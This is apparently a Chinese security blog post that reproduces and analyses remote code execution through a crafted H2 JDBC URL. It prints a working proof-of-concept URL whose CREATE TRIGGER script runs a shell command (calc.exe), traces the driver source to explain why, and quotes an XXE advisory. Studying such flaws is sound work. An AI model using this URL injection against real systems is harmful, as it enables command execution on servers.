前言
No!
环境搭建
IDEA新开个项目,直接从maven仓库里面复制配置过来安装h2依赖:
<!-- https://mvnrepository.com/artifact/com.h2database/h2 -->
<dependency>
<groupId>com.h2database</groupId>
<artifactId>h2</artifactId>
<version>2.0.204</version>
<scope>test</scope>
</dependency>
然后写个简单的代码先测试一下:
String DRIVER_CLASS = "org.h2.Driver";
String JDBC_URL = "";
Properties info = null;
try {
Class.forName(DRIVER_CLASS);
Connection conn = DriverManager.getDriver(DRIVER_CLASS).connect(JDBC_URL, info);
}catch (ClassNotFoundException | SQLException e) {
e.printStackTrace();
}
发现:
java.lang.ClassNotFoundException: org.h2.Driver
回头看发现maven中配置的h2作用域为test,把这一行删掉再来:
java.sql.SQLException: No suitable driver
跟一下调用栈,问题出在h2驱动类org.h2.Driver的acceptsURL函数:
else if (var1.startsWith("jdbc:h2:")) {
return true;
} else if (var1.equals("jdbc:default:connection")) {
return DEFAULT_CONNECTION.get() != null;
}
简单来说就是DRIVER_CLASS不符合格式,再改改代码里面的DRIVER_CLASS,反正只是用来选择驱动不涉及后面的操作,直接用参考文章中的攻击代码试试:
String DRIVER_CLASS = "org.h2.Driver";
String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" +
"INFORMATION_SCHEMA.TABLES AS $$//javascript\n" +
"java.lang.Runtime.getRuntime().exec('cmd /c calc.exe')\n" +
"$$\n";;
Properties info = null;
try {
Class.forName(DRIVER_CLASS);
DriverManager.getDriver(JDBC_URL).connect(JDBC_URL, info);
}catch (ClassNotFoundException | SQLException e) {
e.printStackTrace();
}
结果:
攻击流程分析
很明显问题出在connect函数中,估计是因为执行查询时可以使用一些能直接执行代码的特殊语法:
public Connection connect(String var1, Properties var2) throws SQLException {
if (var1 == null) {
...
} else if (var1.startsWith("jdbc:h2:")) {
return new JdbcConnection(var1, var2, (String)null, (Object)null);
} else {
return var1.equals("jdbc:default:connection") ? (Connection)DEFAULT_CONNECTION.get() : null;
}
}
实例化了一个JdbcConnection对象,后面会解析SQL命令,遇到create命令时:
case 'C':
if (readIf("COMMIT")) {
c = parseCommit();
} else if (readIf("CREATE")) {
c = parseCreate();
会调用parseCreate函数:
else if (readIf("TRIGGER")) {
return parseCreateTrigger(force);
}
又遇到关键词TRIGGER时会调用parseCreateTrigger函数,在解析完TRIGGER相关的triggerName、触发时间点、操作类型、SchemaName、tableName等数据后,当存在as关键词时会开始解析TriggerSource:
if (readIf(AS)) {
command.setTriggerSource(readString());
}
回头看看攻击所用的TRIGGER的语句,简单来说就是在对INFORMATION_SCHEMA.TABLES这张表进行select操作之前就会触发这个TriggerSource操作,即:
//javascript java.lang.Runtime.getRuntime().exec('cmd /c calc.exe')
然后更新该Trigger,跟踪执行流程,会发现此时h2驱动会执行TriggerSource,然后从中取出一个Trigger对象作为triggerCallback,在后面触发操作时使用。一步步跟到TriggerObject类的loadFromSource函数中:
try {
if (SourceCompiler.isJavaxScriptSource(triggerSource)) {
return (Trigger) compiler.getCompiledScript(fullClassName).eval();
} else {
final Method m = compiler.getMethod(fullClassName);
if (m.getParameterTypes().length > 0) {
throw new IllegalStateException("No parameters are allowed for a trigger");
}
return (Trigger) m.invoke(null);
}
}
首先调用isJavaxScriptSource函数判断代码类型:
public static boolean isJavaxScriptSource(String source) {
return isJavascriptSource(source) || isRubySource(source);
}
private static boolean isJavascriptSource(String source) {
return source.startsWith("//javascript");
}
即将//javascript开头的当作JavaScript代码,然后获取对应的编译器编译执行。
总结
总结起来就是,在JDBC驱动和连接所用URL可控的情况下发起连接会导致RCE。
后记
在maven仓库搜索h2包时,看到了有趣的东西:
1.4.200及之前版本的h2中存在一个XXE漏洞,其描述如下:
The package com.h2database:h2 from 0 and before 2.0.202 are vulnerable to XML External Entity (XXE) Injection via the org.h2.jdbc.JdbcSQLXML class object, when it receives parsed string data from org.h2.jdbc.JdbcResultSet.getSQLXML() method. If it executes the getSource() method when the parameter is DOMSource.class it will trigger the vulnerability.
懒得复现了,就这样留个坑吧。